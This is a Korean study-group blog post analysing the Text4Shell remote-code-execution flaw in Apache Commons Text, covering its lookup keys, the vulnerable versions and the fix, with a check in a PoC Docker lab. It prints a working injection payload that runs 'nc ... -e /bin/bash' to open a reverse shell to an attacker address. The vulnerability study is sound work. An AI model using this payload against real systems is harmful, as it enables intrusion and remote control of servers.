본문 바로가기

4-4. 2023-1 심화 스터디/오픈된 환경에서의 RCE(원격코드 실행) 취약점 분석 및 공격 시나리오

[2023.04.08] Text4Shell 취약점 발생 조건 분석

그동안 학습한 Text4Shell 취약점의 발생 조건을 분석할 것이다.

저번 주의 PoC 도커 이미지 파일과 전송한 페이로드를 분석하고, 취약점의 발생 조건을 알아보고자 한다.


Apache Commons Text 문제점 

문자열 대체 함수를 사용하여 DNS, URL, Script를 조회하는 Key에 접근할 수 있으며, 이를 악용하여 악성 페이로드를 피해자 서버로 보내어 원격 코드를 실행할 수 있음.

 

공격 방식

문자열 대체 함수를 사용하여 DNS, URL, Script를 조회하는 Key에 접근할 수 있으며, 이를 악용하여 악성 페이로드를 피해자 서버로 보내어 원격 코드를 실행할 수 있음.

Key Lookup Affected Version note
DNS dnsStringLookup() 1.8 이상 DNS 레코드 확인
URL urlStringLookup() 1.6 이상 URL에서 값 로드
Script scriptStringLookup() 1.5 이상 명령 실행

 

취약한 버전 및 패치 버전

취약한 버전의 Apache Commons Text 라이브러리에서 특정 기능을 사용하는 Java 제품이 취약점의 영향을 받음.

Product Vulnerable Versions Fixed Version
Apache Commons Text 1.5~1.9 1.10.0

PoC 도커 환경의 /root/.mw/repository/org/apache/ 디렉토리에서 Apache 라이브러리의 종류와 버전을 확인할 수 있음.

해당 디렉토리에서 commons/commons-text 디렉토리를 확인해 보면 Apache Commons Text가 설치되어 있고, 버전이 1.8로 취약한 버전에 속하는 것도 확인할 수 있음.

 

공격 페이로드

${script:javascript:java.lang.Runtime.getRuntime().exec('nc 192.168.B 443 -e /bin/bash')}

여기서 의문이 들 수 있는데, 우리가 앞서 살펴보았던 문자열 대체 함수가 페이로드에 사용되지 않았다는 것임.

또한 해당 페이로드가 정확히 무엇을 의미하며, 어떻게 피해 서버에서 동작하는지는 더 구체적으로 살펴봐야 할 것으로 보임.